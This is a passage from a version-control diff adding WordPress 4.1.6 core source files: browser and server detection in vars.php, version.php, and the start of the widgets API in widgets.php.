+		preg_match('#/wp-admin/user/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches);
+	else
+		preg_match('#/wp-admin/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches);
+	$pagenow = $self_matches[1];
+	$pagenow = trim($pagenow, '/');
+	$pagenow = preg_replace('#\?.*?$#', '', $pagenow);
+	if ( '' === $pagenow || 'index' === $pagenow || 'index.php' === $pagenow ) {
+		$pagenow = 'index.php';
+	} else {
+		preg_match('#(.*?)(/|$)#', $pagenow, $self_matches);
+		$pagenow = strtolower($self_matches[1]);
+		if ( '.php' !== substr($pagenow, -4, 4) )
+			$pagenow .= '.php'; // for Options +Multiviews: /wp-admin/themes/index.php (themes.php is queried)
+	}
+} else {
+	if ( preg_match('#([^/]+\.php)([?/].*?)?$#i', $_SERVER['PHP_SELF'], $self_matches) )
+		$pagenow = strtolower($self_matches[1]);
+	else
+		$pagenow = 'index.php';
+}
+unset($self_matches);
+
+// Simple browser detection
+$is_lynx = $is_gecko = $is_winIE = $is_macIE = $is_opera = $is_NS4 = $is_safari = $is_chrome = $is_iphone = false;
+
+if ( isset($_SERVER['HTTP_USER_AGENT']) ) {
+	if ( strpos($_SERVER['HTTP_USER_AGENT'], 'Lynx') !== false ) {
+		$is_lynx = true;
+	} elseif ( stripos($_SERVER['HTTP_USER_AGENT'], 'chrome') !== false ) {
+		if ( stripos( $_SERVER['HTTP_USER_AGENT'], 'chromeframe' ) !== false ) {
+			$is_admin = is_admin();
+			/**
+			 * Filter whether Google Chrome Frame should be used, if available.
+			 *
+			 * @since 3.2.0
+			 *
+			 * @param bool $is_admin Whether to use the Google Chrome Frame. Default is the value of is_admin().
+			 */
+			if ( $is_chrome = apply_filters( 'use_google_chrome_frame', $is_admin ) )
+				header( 'X-UA-Compatible: chrome=1' );
+			$is_winIE = ! $is_chrome;
+		} else {
+			$is_chrome = true;
+		}
+	} elseif ( stripos($_SERVER['HTTP_USER_AGENT'], 'safari') !== false ) {
+		$is_safari = true;
+	} elseif ( ( strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false || strpos($_SERVER['HTTP_USER_AGENT'], 'Trident') !== false ) && strpos($_SERVER['HTTP_USER_AGENT'], 'Win') !== false ) {
+		$is_winIE = true;
+	} elseif ( strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false && strpos($_SERVER['HTTP_USER_AGENT'], 'Mac') !== false ) {
+		$is_macIE = true;
+	} elseif ( strpos($_SERVER['HTTP_USER_AGENT'], 'Gecko') !== false ) {
+		$is_gecko = true;
+	} elseif ( strpos($_SERVER['HTTP_USER_AGENT'], 'Opera') !== false ) {
+		$is_opera = true;
+	} elseif ( strpos($_SERVER['HTTP_USER_AGENT'], 'Nav') !== false && strpos($_SERVER['HTTP_USER_AGENT'], 'Mozilla/4.') !== false ) {
+		$is_NS4 = true;
+	}
+}
+
+if ( $is_safari && stripos($_SERVER['HTTP_USER_AGENT'], 'mobile') !== false )
+	$is_iphone = true;
+
+$is_IE = ( $is_macIE || $is_winIE );
+
+// Server detection
+
+/**
+ * Whether the server software is Apache or something else
+ * @global bool $is_apache
+ */
+$is_apache = (strpos($_SERVER['SERVER_SOFTWARE'], 'Apache') !== false || strpos($_SERVER['SERVER_SOFTWARE'], 'LiteSpeed') !== false);
+
+/**
+ * Whether the server software is Nginx or something else
+ * @global bool $is_nginx
+ */
+$is_nginx = (strpos($_SERVER['SERVER_SOFTWARE'], 'nginx') !== false);
+
+/**
+ * Whether the server software is IIS or something else
+ * @global bool $is_IIS
+ */
+$is_IIS = !$is_apache && (strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS') !== false || strpos($_SERVER['SERVER_SOFTWARE'], 'ExpressionDevServer') !== false);
+
+/**
+ * Whether the server software is IIS 7.X or greater
+ * @global bool $is_iis7
+ */
+$is_iis7 = $is_IIS && intval( substr( $_SERVER['SERVER_SOFTWARE'], strpos( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS/' ) + 14 ) ) >= 7;
+
+/**
+ * Test if the current browser runs on a mobile device (smart phone, tablet, etc.)
+ *
+ * @return bool true|false
+ */
+function wp_is_mobile() {
+	static $is_mobile;
+
+	if ( isset($is_mobile) )
+		return $is_mobile;
+
+	if ( empty($_SERVER['HTTP_USER_AGENT']) ) {
+		$is_mobile = false;
+	} elseif ( strpos($_SERVER['HTTP_USER_AGENT'], 'Mobile') !== false // many mobile devices (all iPhone, iPad, etc.)
+		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Android') !== false
+		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Silk/') !== false
+		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Kindle') !== false
+		|| strpos($_SERVER['HTTP_USER_AGENT'], 'BlackBerry') !== false
+		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Opera Mini') !== false
+		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Opera Mobi') !== false ) {
+			$is_mobile = true;
+	} else {
+		$is_mobile = false;
+	}
+
+	return $is_mobile;
+}
Index: /tags/4.1.6/src/wp-includes/version.php
===================================================================
--- /tags/4.1.6/src/wp-includes/version.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/version.php	(revision 33402)
@@ -0,0 +1,35 @@
+<?php
+/**
+ * The WordPress version string
+ *
+ * @global string $wp_version
+ */
+$wp_version = '4.1.6-src';
+
+/**
+ * Holds the WordPress DB revision, increments when changes are made to the WordPress DB schema.
+ *
+ * @global int $wp_db_version
+ */
+$wp_db_version = 30135;
+
+/**
+ * Holds the TinyMCE version
+ *
+ * @global string $tinymce_version
+ */
+$tinymce_version = '4107-20150505';
+
+/**
+ * Holds the required PHP version
+ *
+ * @global string $required_php_version
+ */
+$required_php_version = '5.2.4';
+
+/**
+ * Holds the required MySQL version
+ *
+ * @global string $required_mysql_version
+ */
+$required_mysql_version = '5.0';
Index: /tags/4.1.6/src/wp-includes/widgets.php
===================================================================
--- /tags/4.1.6/src/wp-includes/widgets.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/widgets.php	(revision 33402)
@@ -0,0 +1,1712 @@
+<?php
+/**
+ * API for creating dynamic sidebar without hardcoding functionality into
+ * themes. Includes both internal WordPress routines and theme use routines.
+ *
+ * This functionality was found in a plugin before WordPress 2.2 release which
+ * included it in the core from that point on.
+ *
+ * @link http://codex.wordpress.org/Plugins/WordPress_Widgets WordPress Widgets
+ * @link http://codex.wordpress.org/Plugins/WordPress_Widgets_Api Widgets API
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ */
+
+/**
+ * This class must be extended for each widget and WP_Widget::widget(), WP_Widget::update()
+ * and WP_Widget::form() need to be over-ridden.
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 2.8.0
+ */
+class WP_Widget {
+
+	/**
+	 * Root ID for all widgets of this type.
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 * @var mixed|string
+	 */
+	public $id_base;
+
+	/**
+	 * Name for this widget type.
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 * @var string
+	 */
+	public $name;
+
+	/**
+	 * Option array passed to {@see wp_register_sidebar_widget()}.
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 * @var array
+	 */
+	public $widget_options;
+
+	/**
+	 * Option array passed to {@see wp_register_widget_control()}.
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 * @var array
+	 */
+	public $control_options;
+
+	/**
+	 * Unique ID number of the current instance.
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 * @var bool|int
+	 */
+	public $number = false;
+
+	/**
+	 * Unique ID string of the current instance (id_base-number).
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 * @var bool|string
+	 */
+	public $id = false;
+
+	/**
+	 * Whether the widget data has been updated.
+	 *
+	 * Set to true when the data is updated after a POST submit - ensures it does
+	 * not happen twice.
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 * @var bool
+	 */
+	public $updated = false;
+
+	// Member functions that you must over-ride.
+
+	/**
+	 * Echo the widget content.
+	 *
+	 * Subclasses should over-ride this function to generate their widget code.
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 *
+	 * @param array $args     Display arguments including before_title, after_title,
+	 *                        before_widget, and after_widget.
+	 * @param array $instance The settings for the particular instance of the widget.
+	 */
+	public function widget( $args, $instance ) {
+		die('function WP_Widget::widget() must be over-ridden in a sub-class.');
+	}
+
+	/**
+	 * Update a particular instance.
+	 *
+	 * This function should check that $new_instance is set correctly. The newly-calculated
+	 * value of `$instance` should be returned. If false is returned, the instance won't be
+	 * saved/updated.
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 *
+	 * @param array $new_instance New settings for this instance as input by the user via
+	 *                            {@see WP_Widget::form()}.
+	 * @param array $old_instance Old settings for this instance.
+	 * @return array Settings to save or bool false to cancel saving.
+	 */
+	public function update( $new_instance, $old_instance ) {
+		return $new_instance;
+	}
+
+	/**
+	 * Output the settings update form.
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 *
+	 * @param array $instance Current settings.
+	 * @return string Default return is 'noform'.
+	 */
+	public function form($instance) {
+		echo '<p class="no-options-widget">' . __('There are no options for this widget.') . '</p>';
+		return 'noform';
+	}
+
+	// Functions you'll need to call.
+
+	/**
+	 * PHP5 constructor.
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 *
+	 * @param string $id_base         Optional Base ID for the widget, lowercase and unique. If left empty,
+	 *                                a portion of the widget's class name will be used Has to be unique.
+	 * @param string $name            Name for the widget displayed on the configuration page.
+	 * @param array  $widget_options  Optional. Widget options. See {@see wp_register_sidebar_widget()} for
+	 *                                information on accepted arguments. Default empty array.
+	 * @param array  $control_options Optional. Widget control options. See {@see wp_register_widget_control()}
+	 *                                for information on accepted arguments. Default empty array.
+	 */
+	public function __construct( $id_base, $name, $widget_options = array(), $control_options = array() ) {
+		$this->id_base = empty($id_base) ? preg_replace( '/(wp_)?widget_/', '', strtolower(get_class($this)) ) : strtolower($id_base);
+		$this->name = $name;
+		$this->option_name = 'widget_' . $this->id_base;
+		$this->widget_options = wp_parse_args( $widget_options, array('classname' => $this->option_name) );
+		$this->control_options = wp_parse_args( $control_options, array('id_base' => $this->id_base) );
+	}
+
+	/**
+	 * PHP4 constructor
+	 * 
+	 * @param string $id_base
+	 * @param string $name
+	 * @param array  $widget_options
+	 * @param array  $control_options
+	 */
+	public function WP_Widget( $id_base, $name, $widget_options = array(), $control_options = array() ) {
+		WP_Widget::__construct( $id_base, $name, $widget_options, $control_options );
+	}
+
+	/**
+	 * Constructs name attributes for use in form() fields
+	 *
+	 * This function should be used in form() methods to create name attributes for fields to be saved by update()
+	 *
+	 * @param string $field_name Field name
+	 * @return string Name attribute for $field_name
+	 */
+	public function get_field_name($field_name) {
+		return 'widget-' . $this->id_base . '[' . $this->number . '][' . $field_name . ']';
+	}
+
+	/**
+	 * Constructs id attributes for use in {@see WP_Widget::form()} fields.
+	 *
+	 * This function should be used in form() methods to create id attributes
+	 * for fields to be saved by {@see WP_Widget::update()}.
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 *
+	 * @param string $field_name Field name.
+	 * @return string ID attribute for `$field_name`.
+	 */
+	public function get_field_id( $field_name ) {
+		return 'widget-' . $this->id_base . '-' . $this->number . '-' . $field_name;
+	}
+
+	/**
+	 * Register all widget instances of this widget class.
+	 *
+	 * @since 2.8.0
+	 * @access private
+	 */
+	public function _register() {
+		$settings = $this->get_settings();
+		$empty = true;
+
+		if ( is_array($settings) ) {
+			foreach ( array_keys($settings) as $number ) {
+				if ( is_numeric($number) ) {
+					$this->_set($number);
+					$this->_register_one($number);
+					$empty = false;
+				}
+			}
+		}
+
+		if ( $empty ) {
+			// If there are none, we register the widget's existence with a
+			// generic template
+			$this->_set(1);
+			$this->_register_one();
+		}
+	}
+
+	/**
+	 * Set the internal order number for the widget instance.
+	 *
+	 * @since 2.8.0
+	 * @access private
+	 *
+	 * @param int $number The unique order number of this widget instance compared to other
+	 *                    instances of the same class.
+	 */
+	public function _set($number) {
+		$this->number = $number;
+		$this->id = $this->id_base . '-' . $number;
+	}
+
+	public function _get_display_callback() {
+		return array($this, 'display_callback');
+	}
+
+	public function _get_update_callback() {
+		return array($this, 'update_callback');
+	}
+
+	public function _get_form_callback() {
+		return array($this, 'form_callback');
+	}
+
+	/**
+	 * Determine whether the current request is inside the Customizer preview.
+	 *
+	 * If true -- the current request is inside the Customizer preview, then
+	 * the object cache gets suspended and widgets should check this to decide
+	 * whether they should store anything persistently to the object cache,
+	 * to transients, or anywhere else.
+	 *
+	 * @since 3.9.0
+	 * @access public
+	 *
+	 * @return bool True if within the Customizer preview, false if not.
+	 */
+	public function is_preview() {
+		global $wp_customize;
+		return ( isset( $wp_customize ) && $wp_customize->is_preview() ) ;
+	}
+
+	/**
+	 * Generate the actual widget content (Do NOT override).
+	 *
+	 * Finds the instance and calls {@see WP_Widget::widget()}.
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 *
+	 * @param array     $args        Display arguments. See {@see WP_Widget::widget()} for information
+	 *                               on accepted arguments.
+	 * @param int|array $widget_args {
+	 *     Optional. Internal order number of the widget instance, or array of multi-widget arguments.
+	 *     Default 1.
+	 *
+	 *     @type int $number Number increment used for multiples of the same widget.
+	 * }
+	 */
+	public function display_callback( $args, $widget_args = 1 ) {
+		if ( is_numeric($widget_args) )
+			$widget_args = array( 'number' => $widget_args );
+
+		$widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) );
+		$this->_set( $widget_args['number'] );
+		$instance = $this->get_settings();
+
+		if ( array_key_exists( $this->number, $instance ) ) {
+			$instance = $instance[$this->number];
+
+			/**
+			 * Filter the settings for a particular widget instance.
+			 *
+			 * Returning false will effectively short-circuit display of the widget.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param array     $instance The current widget instance's settings.
+			 * @param WP_Widget $this     The current widget instance.
+			 * @param array     $args     An array of default widget arguments.
+			 */
+			$instance = apply_filters( 'widget_display_callback', $instance, $this, $args );
+
+			if ( false === $instance ) {
+				return;
+			}
+
+			$was_cache_addition_suspended = wp_suspend_cache_addition();
+			if ( $this->is_preview() && ! $was_cache_addition_suspended ) {
+				wp_suspend_cache_addition( true );
+			}
+
+			$this->widget( $args, $instance );
+
+			if ( $this->is_preview() ) {
+				wp_suspend_cache_addition( $was_cache_addition_suspended );
+			}
+		}
+	}
+
+	/**
+	 * Deal with changed settings (Do NOT override).
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 *
+	 * @param int $deprecated Not used.
+	 */
+	public function update_callback( $deprecated = 1 ) {
+		global $wp_registered_widgets;
+
+		$all_instances = $this->get_settings();
+
+		// We need to update the data
+		if ( $this->updated )
+			return;
+
+		if ( isset($_POST['delete_widget']) && $_POST['delete_widget'] ) {
+			// Delete the settings for this instance of the widget
+			if ( isset($_POST['the-widget-id']) )
+				$del_id = $_POST['the-widget-id'];
+			else
+				return;
+
+			if ( isset($wp_registered_widgets[$del_id]['params'][0]['number']) ) {
+				$number = $wp_registered_widgets[$del_id]['params'][0]['number'];
+
+				if ( $this->id_base . '-' . $number == $del_id )
+					unset($all_instances[$number]);
+			}
+		} else {
+			if ( isset($_POST['widget-' . $this->id_base]) && is_array($_POST['widget-' . $this->id_base]) ) {
+				$settings = $_POST['widget-' . $this->id_base];
+			} elseif ( isset($_POST['id_base']) && $_POST['id_base'] == $this->id_base ) {
+				$num = $_POST['multi_number'] ? (int) $_POST['multi_number'] : (int) $_POST['widget_number'];
+				$settings = array( $num => array() );
+			} else {
+				return;
+			}
+
+			foreach ( $settings as $number => $new_instance ) {
+				$new_instance = stripslashes_deep($new_instance);
+				$this->_set($number);
+
+				$old_instance = isset($all_instances[$number]) ? $all_instances[$number] : array();
+
+				$was_cache_addition_suspended = wp_suspend_cache_addition();
+				if ( $this->is_preview() && ! $was_cache_addition_suspended ) {
+					wp_suspend_cache_addition( true );
+				}
+
+				$instance = $this->update( $new_instance, $old_instance );
+
+				if ( $this->is_preview() ) {
+					wp_suspend_cache_addition( $was_cache_addition_suspended );
+				}
+
+				/**
+				 * Filter a widget's settings before saving.
+				 *
+				 * Returning false will effectively short-circuit the widget's ability
+				 * to update settings.
+				 *
+				 * @since 2.8.0
+				 *
+				 * @param array     $instance     The current widget instance's settings.
+				 * @param array     $new_instance Array of new widget settings.
+				 * @param array     $old_instance Array of old widget settings.
+				 * @param WP_Widget $this         The current widget instance.
+				 */
+				$instance = apply_filters( 'widget_update_callback', $instance, $new_instance, $old_instance, $this );
+				if ( false !== $instance ) {
+					$all_instances[$number] = $instance;
+				}
+
+				break; // run only once
+			}
+		}
+
+		$this->save_settings($all_instances);
+		$this->updated = true;
+	}
+
+	/**
+	 * Generate the widget control form (Do NOT override).
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 *
+	 * @param int|array $widget_args Widget instance number or array of widget arguments.
+	 */
+	public function form_callback( $widget_args = 1 ) {
+		if ( is_numeric($widget_args) )
+			$widget_args = array( 'number' => $widget_args );
+
+		$widget_args = wp_parse_args( $widget_args, array( 'number' => -1 ) );
+		$all_instances = $this->get_settings();
+
+		if ( -1 == $widget_args['number'] ) {
+			// We echo out a form where 'number' can be set later
+			$this->_set('__i__');
+			$instance = array();
+		} else {
+			$this->_set($widget_args['number']);
+			$instance = $all_instances[ $widget_args['number'] ];
+		}
+
+		/**
+		 * Filter the widget instance's settings before displaying the control form.
+		 *
+		 * Returning false effectively short-circuits display of the control form.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array     $instance The current widget instance's settings.
+		 * @param WP_Widget $this     The current widget instance.
+		 */
+		$instance = apply_filters( 'widget_form_callback', $instance, $this );
+
+		$return = null;
+		if ( false !== $instance ) {
+			$return = $this->form($instance);
+
+			/**
+			 * Fires at the end of the widget control form.
+			 *
+			 * Use this hook to add extra fields to the widget form. The hook
+			 * is only fired if the value passed to the 'widget_form_callback'
+			 * hook is not false.
+			 *
+			 * Note: If the widget has no form, the text echoed from the default
+			 * form method can be hidden using CSS.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param WP_Widget $this     The widget instance, passed by reference.
+			 * @param null      $return   Return null if new fields are added.
+			 * @param array     $instance An array of the widget's settings.
+			 */
+			do_action_ref_array( 'in_widget_form', array( &$this, &$return, $instance ) );
+		}
+		return $return;
+	}
+
+	/**
+	 * Register an instance of the widget class.
+	 *
+	 * @since 2.8.0
+	 * @access private
+	 *
+	 * @param integer $number Optional. The unique order number of this widget instance
+	 *                        compared to other instances of the same class. Default -1.
+	 */
+	public function _register_one( $number = -1 ) {
+		wp_register_sidebar_widget(	$this->id, $this->name,	$this->_get_display_callback(), $this->widget_options, array( 'number' => $number ) );
+		_register_widget_update_callback( $this->id_base, $this->_get_update_callback(), $this->control_options, array( 'number' => -1 ) );
+		_register_widget_form_callback(	$this->id, $this->name,	$this->_get_form_callback(), $this->control_options, array( 'number' => $number ) );
+	}
+
+	/**
+	 * Save the settings for all instances of the widget class.
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 *
+	 * @param array $settings Multi-dimensional array of widget instance settings.
+	 */
+	public function save_settings( $settings ) {
+		$settings['_multiwidget'] = 1;
+		update_option( $this->option_name, $settings );
+	}
+
+	/**
+	 * Get the settings for all instances of the widget class.
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 *
+	 * @return array Multi-dimensional array of widget instance settings.
+	 */
+	public function get_settings() {
+
+		$settings = get_option($this->option_name);
+
+		if ( false === $settings && isset($this->alt_option_name) )
+			$settings = get_option($this->alt_option_name);
+
+		if ( !is_array($settings) )
+			$settings = array();
+
+		if ( !empty($settings) && !array_key_exists('_multiwidget', $settings) ) {
+			// old format, convert if single widget
+			$settings = wp_convert_widget_settings($this->id_base, $this->option_name, $settings);
+		}
+
+		unset($settings['_multiwidget'], $settings['__i__']);
+		return $settings;
+	}
+}
+
+/**
+ * Singleton that registers and instantiates WP_Widget classes.
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 2.8.0
+ */
+class WP_Widget_Factory {
+	public $widgets = array();
+
+	public function WP_Widget_Factory() {
+		add_action( 'widgets_init', array( $this, '_register_widgets' ), 100 );
+	}
+
+	/**
+	 * Register a widget subclass.
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 *
+	 * @param string $widget_class The name of a {@see WP_Widget} subclass.
+	 */
+	public function register( $widget_class ) {
+		$this->widgets[$widget_class] = new $widget_class();
+	}
+
+	/**
+	 * Un-register a widget subclass.
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 *
+	 * @param string $widget_class The name of a {@see WP_Widget} subclass.
+	 */
+	public function unregister( $widget_class ) {
+		if ( isset($this->widgets[$widget_class]) )
+			unset($this->widgets[$widget_class]);
+	}
+
+	/**
+	 * Utility method for adding widgets to the registered widgets global.
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 */
+	public function _register_widgets() {
+		global $wp_registered_widgets;
+		$keys = array_keys($this->widgets);
+		$registered = array_keys($wp_registered_widgets);
+		$registered = array_map('_get_widget_id_base', $registered);
+
+		foreach ( $keys as $key ) {
+			// don't register new widget if old widget with the same id is already registered
+			if ( in_array($this->widgets[$key]->id_base, $registered, true) ) {
+				unset($this->widgets[$key]);
+				continue;
+			}
+
+			$this->widgets[$key]->_register();
+		}
+	}
+}
+
+/* Global Variables */
+
+/** @ignore */
+global $wp_registered_sidebars, $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates;
+
+/**
+ * Stores the sidebars, since many themes can have more than one.
+ *
+ * @global array $wp_registered_sidebars
+ * @since 2.2.0
+ */
+$wp_registered_sidebars = array();
+
+/**
+ * Stores the registered widgets.
+ *
+ * @global array $wp_registered_widgets
+ * @since 2.2.0
+ */
+$wp_registered_widgets = array();
+
+/**
+ * Stores the registered widget control (options).
+ *
+ * @global array $wp_registered_widget_controls
+ * @since 2.2.0
+ */
+$wp_registered_widget_controls = array();
+$wp_registered_widget_updates = array();
+
+/**
+ * Private
+ */
+$_wp_sidebars_widgets = array();
+
+/**
+ * Private
+ */
+$GLOBALS['_wp_deprecated_widgets_callbacks'] = array(
+	'wp_widget_pages',
+	'wp_widget_pages_control',
+	'wp_widget_calendar',
+	'wp_widget_calendar_control',
+	'wp_widget_archives',
+	'wp_widget_archives_control',
+	'wp_widget_links',
+	'wp_widget_meta',
+	'wp_widget_meta_control',
+	'wp_widget_search',
+	'wp_widget_recent_entries',
+	'wp_widget_recent_entries_control',
+	'wp_widget_tag_cloud',
+	'wp_widget_tag_cloud_control',
+	'wp_widget_categories',
+	'wp_widget_categories_control',
+	'wp_widget_text',
+	'wp_widget_text_control',
+	'wp_widget_rss',
+	'wp_widget_rss_control',
+	'wp_widget_recent_comments',
+	'wp_widget_recent_comments_control'
+);
+
+/* Template tags & API functions */
+
+/**
+ * Register a widget
+ *
+ * Registers a WP_Widget widget
+ *
+ * @since 2.8.0
+ *
+ * @see WP_Widget
+ * @see WP_Widget_Factory
+ * @uses WP_Widget_Factory
+ *
+ * @param string $widget_class The name of a class that extends WP_Widget
+ */
+function register_widget($widget_class) {
+	global $wp_widget_factory;
+
+	$wp_widget_factory->register($widget_class);
+}
+
+/**
+ * Unregister a widget
+ *
+ * Unregisters a WP_Widget widget. Useful for unregistering default widgets.
+ * Run within a function hooked to the widgets_init action.
+ *
+ * @since 2.8.0
+ *
+ * @see WP_Widget
+ * @see WP_Widget_Factory
+ * @uses WP_Widget_Factory
+ *
+ * @param string $widget_class The name of a class that extends WP_Widget
+ */
+function unregister_widget($widget_class) {
+	global $wp_widget_factory;
+
+	$wp_widget_factory->unregister($widget_class);
+}
+
+/**
+ * Creates multiple sidebars.
+ *
+ * If you wanted to quickly create multiple sidebars for a theme or internally.
+ * This function will allow you to do so. If you don't pass the 'name' and/or
+ * 'id' in `$args`, then they will be built for you.
+ *
+ * @since 2.2.0
+ *
+ * @see register_sidebar() The second parameter is documented by register_sidebar() and is the same here.
+ *
+ * @param int          $number Optional. Number of sidebars to create. Default 1.
+ * @param array|string $args {
+ *     Optional. Array or string of arguments for building a sidebar.
+ *
+ *     @type string $id   The base string of the unique identifier for each sidebar. If provided, and multiple
+ *                        sidebars are being defined, the id will have "-2" appended, and so on.
+ *                        Default 'sidebar-' followed by the number the sidebar creation is currently at.
+ *     @type string $name The name or title for the sidebars displayed in the admin dashboard. If registering
+ *                        more than one sidebar, include '%d' in the string as a placeholder for the uniquely
+ *                        assigned number for each sidebar.
+ *                        Default 'Sidebar' for the first sidebar, otherwise 'Sidebar %d'.
+ * }
+ */
+function register_sidebars( $number = 1, $args = array() ) {
+	global $wp_registered_sidebars;
+	$number = (int) $number;
+
+	if ( is_string($args) )
+		parse_str($args, $args);
+
+	for ( $i = 1; $i <= $number; $i++ ) {
+		$_args = $args;
+
+		if ( $number > 1 )
+			$_args['name'] = isset($args['name']) ? sprintf($args['name'], $i) : sprintf(__('Sidebar %d'), $i);
+		else
+			$_args['name'] = isset($args['name']) ? $args['name'] : __('Sidebar');
+
+		// Custom specified ID's are suffixed if they exist already.
+		// Automatically generated sidebar names need to be suffixed regardless starting at -0
+		if ( isset($args['id']) ) {
+			$_args['id'] = $args['id'];
+			$n = 2; // Start at -2 for conflicting custom ID's
+			while ( isset($wp_registered_sidebars[$_args['id']]) )
+				$_args['id'] = $args['id'] . '-' . $n++;
+		} else {
+			$n = count($wp_registered_sidebars);
+			do {
+				$_args['id'] = 'sidebar-' . ++$n;
+			} while ( isset($wp_registered_sidebars[$_args['id']]) );
+		}
+		register_sidebar($_args);
+	}
+}
+
+/**
+ * Builds the definition for a single sidebar and returns the ID.
+ *
+ * Accepts either a string or an array and then parses that against a set
+ * of default arguments for the new sidebar. WordPress will automatically
+ * generate a sidebar ID and name based on the current number of registered
+ * sidebars if those arguments are not included.
+ *
+ * When allowing for automatic generation of the name and ID parameters, keep
+ * in mind that the incrementor for your sidebar can change over time depending
+ * on what other plugins and themes are installed.
+ *
+ * If theme support for 'widgets' has not yet been added when this function is
+ * called, it will be automatically enabled through the use of add_theme_support()
+ *
+ * @since 2.2.0
+ *
+ * @global array $wp_registered_sidebars Stores the new sidebar in this array by sidebar ID.
+ *
+ * @param array|string $args {
+ *     Optional. Array or string of arguments for the sidebar being registered.
+ *
+ *     @type string $name          The name or title of the sidebar displayed in the Widgets
+ *                                 interface. Default 'Sidebar $instance'.
+ *     @type string $id            The unique identifier by which the sidebar will be called.
+ *                                 Default 'sidebar-$instance'.
+ *     @type string $description   Description of the sidebar, displayed in the Widgets interface.
+ *                                 Default empty string.
+ *     @type string $class         Extra CSS class to assign to the sidebar in the Widgets interface.
+ *                                 Default empty.
+ *     @type string $before_widget HTML content to prepend to each widget's HTML output when
+ *                                 assigned to this sidebar. Default is an opening list item element.
+ *     @type string $after_widget  HTML content to append to each widget's HTML output when
+ *                                 assigned to this sidebar. Default is a closing list item element.
+ *     @type string $before_title  HTML content to prepend to the sidebar title when displayed.
+ *                                 Default is an opening h2 element.
+ *     @type string $after_title   HTML content to append to the sidebar title when displayed.
+ *                                 Default is a closing h2 element.
+ * }
+ * @return string Sidebar ID added to $wp_registered_sidebars global.
+ */
+function register_sidebar($args = array()) {
+	global $wp_registered_sidebars;
+
+	$i = count($wp_registered_sidebars) + 1;
+
+	$defaults = array(
+		'name' => sprintf(__('Sidebar %d'), $i ),
+		'id' => "sidebar-$i",
+		'description' => '',
+		'class' => '',
+		'before_widget' => '<li id="%1$s" class="widget %2$s">',
+		'after_widget' => "</li>\n",
+		'before_title' => '<h2 class="widgettitle">',
+		'after_title' => "</h2>\n",
+	);
+
+	$sidebar = wp_parse_args( $args, $defaults );
+
+	$wp_registered_sidebars[$sidebar['id']] = $sidebar;
+
+	add_theme_support('widgets');
+
+	/**
+	 * Fires once a sidebar has been registered.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $sidebar Parsed arguments for the registered sidebar.
+	 */
+	do_action( 'register_sidebar', $sidebar );
+
+	return $sidebar['id'];
+}
+
+/**
+ * Removes a sidebar from the list.
+ *
+ * @since 2.2.0
+ *
+ * @uses $wp_registered_sidebars Stores the new sidebar in this array by sidebar ID.
+ *
+ * @param string $name The ID of the sidebar when it was added.
+ */
+function unregister_sidebar( $name ) {
+	global $wp_registered_sidebars;
+
+	if ( isset( $wp_registered_sidebars[$name] ) )
+		unset( $wp_registered_sidebars[$name] );
+}
+
+/**
+ * Register an instance of a widget.
+ *
+ * The default widget option is 'classname' that can be overridden.
+ *
+ * The function can also be used to un-register widgets when `$output_callback`
+ * parameter is an empty string.
+ *
+ * @since 2.2.0
+ *
+ * @global array $wp_registered_widgets       Uses stored registered widgets.
+ * @global array $wp_register_widget_defaults Retrieves widget defaults.
+ *
+ * @param int|string $id              Widget ID.
+ * @param string     $name            Widget display title.
+ * @param callback   $output_callback Run when widget is called.
+ * @param array      $options {
+ *     Optional. An array of supplementary widget options for the instance.
+ *
+ *     @type string $classname   Class name for the widget's HTML container. Default is a shortened
+ *                               version of the output callback name.
+ *     @type string $description Widget description for display in the widget administration
+ *                               panel and/or theme.
+ * }
+ * @return null Will return if `$output_callback` is empty after removing widget.
+ */
+function wp_register_sidebar_widget( $id, $name, $output_callback, $options = array() ) {
+	global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates, $_wp_deprecated_widgets_callbacks;
+
+	$id = strtolower($id);
+
+	if ( empty($output_callback) ) {
+		unset($wp_registered_widgets[$id]);
+		return;
+	}
+
+	$id_base = _get_widget_id_base($id);
+	if ( in_array($output_callback, $_wp_deprecated_widgets_callbacks, true) && !is_callable($output_callback) ) {
+		if ( isset($wp_registered_widget_controls[$id]) )
+			unset($wp_registered_widget_controls[$id]);
+
+		if ( isset($wp_registered_widget_updates[$id_base]) )
